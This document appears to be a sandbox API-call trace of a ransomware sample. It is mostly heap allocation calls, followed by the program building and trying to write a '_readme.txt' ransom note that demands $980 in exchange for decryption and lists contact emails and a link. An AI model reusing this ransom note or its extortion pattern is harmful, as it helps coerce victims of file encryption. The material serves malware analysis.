hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.502] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.502] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.503] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.503] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.504] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.504] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.505] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.505] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.506] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.506] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.507] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.507] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35df8 | out: hHeap=0x5010000) returned 1 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.507] PathFindFileNameW (pszPath="C:\\Boot\\it-IT\\") returned="it-IT\\" [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.507] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0111.507] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.507] PathFindFileNameW (pszPath="") returned="" [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e48 [0111.507] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.507] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.507] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.507] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35df8 [0111.507] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.507] PathAppendW (in: pszPath="C:\\Boot\\it-IT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 1 [0111.508] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac41a0 [0111.508] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a35e20 | out: hHeap=0x5010000) returned 1 [0111.508] PathFileExistsW (pszPath="C:\\Boot\\it-IT\\_readme.txt") returned 0 [0111.508] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.508] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.508] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" [0111.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac4a28 [0111.509] CreateFileW (lpFileName="C:\\Boot\\it-IT\\_readme.txt" (normalized: "c:\\boot\\it-it\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0111.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac4a28 | out: hHeap=0x5010000) returned 1 [0111.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b152e0 | out: hHeap=0x5010000) returned 1 [0111.509] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.509] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35e20 [0111.509] FindFirstFileW (in: lpFileName="C:\\Boot\\it-IT\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0111.509] HeapFree (in: 